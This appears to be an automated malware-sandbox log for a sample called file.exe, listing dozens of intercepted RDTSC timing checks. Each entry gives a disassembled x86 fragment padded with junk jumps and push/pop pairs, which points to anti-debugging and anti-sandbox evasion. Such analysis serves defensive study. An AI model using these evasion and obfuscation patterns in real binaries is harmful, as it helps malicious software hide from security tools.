Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CEC16 second address: 6CEC66 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C5452242Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F8C5452242Bh 0x00000010 jmp 00007F8C54522435h 0x00000015 popad 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a jmp 00007F8C5452242Fh 0x0000001f mov eax, dword ptr [eax] 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 pushad 0x00000025 popad 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CEC66 second address: 6CEC6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CEC6B second address: 6CEC75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F8C54522426h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CED97 second address: 6CEDCE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C5451FBC6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 5CCFA3B0h 0x00000010 and si, A257h 0x00000015 lea ebx, dword ptr [ebp+1244EB56h] 0x0000001b mov edx, esi 0x0000001d mov ch, 97h 0x0000001f xchg eax, ebx 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CEDCE second address: 6CEDD8 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8C54522426h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CEDD8 second address: 6CEE00 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C5451FBC4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8C5451FBBDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CEE93 second address: 6CEE97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CEE97 second address: 6CEEFD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C5451FBC6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F8C5451FBC1h 0x00000010 push ebx 0x00000011 pushad 0x00000012 popad 0x00000013 pop ebx 0x00000014 popad 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 pushad 0x0000001a jmp 00007F8C5451FBC4h 0x0000001f jmp 00007F8C5451FBBEh 0x00000024 popad 0x00000025 mov eax, dword ptr [eax] 0x00000027 ja 00007F8C5451FBC4h 0x0000002d push eax 0x0000002e push edx 0x0000002f push esi 0x00000030 pop esi 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CEEFD second address: 6CEF83 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F8C54522426h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e pushad 0x0000000f pushad 0x00000010 jmp 00007F8C5452242Eh 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 popad 0x00000018 jno 00007F8C5452242Ch 0x0000001e popad 0x0000001f pop eax 0x00000020 jo 00007F8C54522437h 0x00000026 jmp 00007F8C54522431h 0x0000002b mov dword ptr [ebp+122D324Ch], ecx 0x00000031 push 00000003h 0x00000033 mov dword ptr [ebp+122D2FC4h], edi 0x00000039 push 00000000h 0x0000003b mov edi, dword ptr [ebp+122D1CD9h] 0x00000041 call 00007F8C5452242Bh 0x00000046 mov ecx, 00A18507h 0x0000004b pop edx 0x0000004c push 00000003h 0x0000004e mov dword ptr [ebp+122D3AEAh], ecx 0x00000054 add dl, FFFFFFEDh 0x00000057 call 00007F8C54522429h 0x0000005c push eax 0x0000005d push edx 0x0000005e pushad 0x0000005f push eax 0x00000060 push edx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CEF83 second address: 6CEF8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CEF8A second address: 6CEFA4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C54522430h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CEFA4 second address: 6CEFA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CF10A second address: 6CF10E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CF10E second address: 6CF135 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c popad 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F8C5451FBC4h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CF135 second address: 6CF16E instructions: 0x00000000 rdtsc 0x00000002 js 00007F8C54522434h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d jmp 00007F8C54522435h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 push ecx 0x00000018 push ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CF237 second address: 6CF23B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CF23B second address: 6CF245 instructions: 0x00000000 rdtsc 0x00000002 je 00007F8C54522426h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CF245 second address: 6CF25A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007F8C5451FBB8h 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EFFFB second address: 6EFFFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EFFFF second address: 6F002D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jmp 00007F8C5451FBC9h 0x0000000e pop ecx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jns 00007F8C5451FBB6h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C18E5 second address: 6C18E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EDF63 second address: 6EDF87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F8C5451FBC9h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EDF87 second address: 6EDF8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EDF8B second address: 6EDF91 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EDF91 second address: 6EDF9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EDF9B second address: 6EDFA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EDFA1 second address: 6EDFE1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C54522432h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnl 00007F8C54522432h 0x00000011 popad 0x00000012 pushad 0x00000013 jmp 00007F8C5452242Fh 0x00000018 push edi 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EE110 second address: 6EE15C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C5451FBC1h 0x00000009 jmp 00007F8C5451FBBEh 0x0000000e popad 0x0000000f pushad 0x00000010 push ebx 0x00000011 pushad 0x00000012 popad 0x00000013 pop ebx 0x00000014 jmp 00007F8C5451FBC9h 0x00000019 push eax 0x0000001a push edx 0x0000001b jl 00007F8C5451FBB6h 0x00000021 push esi 0x00000022 pop esi 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EE15C second address: 6EE160 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EE3EF second address: 6EE3F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EE551 second address: 6EE555 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EEF07 second address: 6EEF0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B0B4C second address: 6B0B5E instructions: 0x00000000 rdtsc 0x00000002 js 00007F8C54522426h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EF1FB second address: 6EF20B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 je 00007F8C5451FBB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EF20B second address: 6EF20F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F43C8 second address: 6F43CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F462D second address: 6F4631 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F4631 second address: 6F464C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C5451FBC4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F47E4 second address: 6F47E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AD5A4 second address: 6AD5C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F8C5451FBB6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F8C5451FBBAh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AD5C0 second address: 6AD5C6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FB376 second address: 6FB3A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C5451FBBBh 0x00000009 push eax 0x0000000a pop eax 0x0000000b jmp 00007F8C5451FBC9h 0x00000010 popad 0x00000011 pushad 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA7CF second address: 6FA7F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C5452242Ah 0x00000007 pushad 0x00000008 jmp 00007F8C54522438h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FAF0E second address: 6FAF14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FAF14 second address: 6FAF25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 js 00007F8C5452242Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FAF25 second address: 6FAF70 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F8C5451FBC0h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b jmp 00007F8C5451FBC1h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 je 00007F8C5451FBB6h 0x0000001b push edi 0x0000001c pop edi 0x0000001d pushad 0x0000001e popad 0x0000001f jmp 00007F8C5451FBC4h 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FCF06 second address: 6FCF0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FCFF1 second address: 6FD00F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 ja 00007F8C5451FBBAh 0x0000000d push esi 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pop esi 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 jl 00007F8C5451FBB6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FD150 second address: 6FD154 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FD2B9 second address: 6FD2BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FD2BF second address: 6FD2C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FD407 second address: 6FD40E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FD714 second address: 6FD72E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C54522436h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FDB4D second address: 6FDB53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FDC0D second address: 6FDC11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FDCD3 second address: 6FDCD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FDE7C second address: 6FDE90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d jnp 00007F8C54522426h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7006C6 second address: 7006CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7006CA second address: 7006D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7012AE second address: 7012C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 jp 00007F8C5451FBB8h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7012C2 second address: 7012C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7036D0 second address: 7036EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8C5451FBC3h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7036EF second address: 7036F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70B593 second address: 70B59D instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8C5451FBBCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70C79C second address: 70C7A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70E62F second address: 70E633 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 706C5B second address: 706C5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 712696 second address: 71269A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71269A second address: 7126A0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70B79C second address: 70B7B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8C5451FBC6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70E816 second address: 70E81B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70F707 second address: 70F713 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 710797 second address: 71079B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70F713 second address: 70F717 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71079B second address: 71079F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70F717 second address: 70F71D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71079F second address: 7107A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71454A second address: 71454E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70F71D second address: 70F727 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F8C54522426h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71454E second address: 714593 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8C5451FBB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e jng 00007F8C5451FBBAh 0x00000014 mov di, 3156h 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push edx 0x0000001d call 00007F8C5451FBB8h 0x00000022 pop edx 0x00000023 mov dword ptr [esp+04h], edx 0x00000027 add dword ptr [esp+04h], 00000018h 0x0000002f inc edx 0x00000030 push edx 0x00000031 ret 0x00000032 pop edx 0x00000033 ret 0x00000034 push 00000000h 0x00000036 mov bx, si 0x00000039 xchg eax, esi 0x0000003a push edi 0x0000003b push eax 0x0000003c push edx 0x0000003d push ebx 0x0000003e pop ebx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7166CA second address: 7166DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007F8C54522428h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7146FD second address: 714722 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8C5451FBB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8C5451FBC7h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7166DB second address: 7166E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F8C54522426h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 711860 second address: 711864 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 711864 second address: 711879 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jp 00007F8C54522428h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 711879 second address: 71187E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71187E second address: 711884 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7166E5 second address: 71673B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 add edi, 446C8F89h 0x0000000f jmp 00007F8C5451FBC1h 0x00000014 push 00000000h 0x00000016 mov bh, cl 0x00000018 push 00000000h 0x0000001a sub dword ptr [ebp+12460BE0h], ebx 0x00000020 xchg eax, esi 0x00000021 push ebx 0x00000022 jmp 00007F8C5451FBC4h 0x00000027 pop ebx 0x00000028 push eax 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F8C5451FBBFh 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 717691 second address: 71769E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71874D second address: 718752 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7242EA second address: 72431F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F8C54522436h 0x0000000a jmp 00007F8C54522436h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72431F second address: 72433C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C5451FBC9h 0x00000009 rdtsc
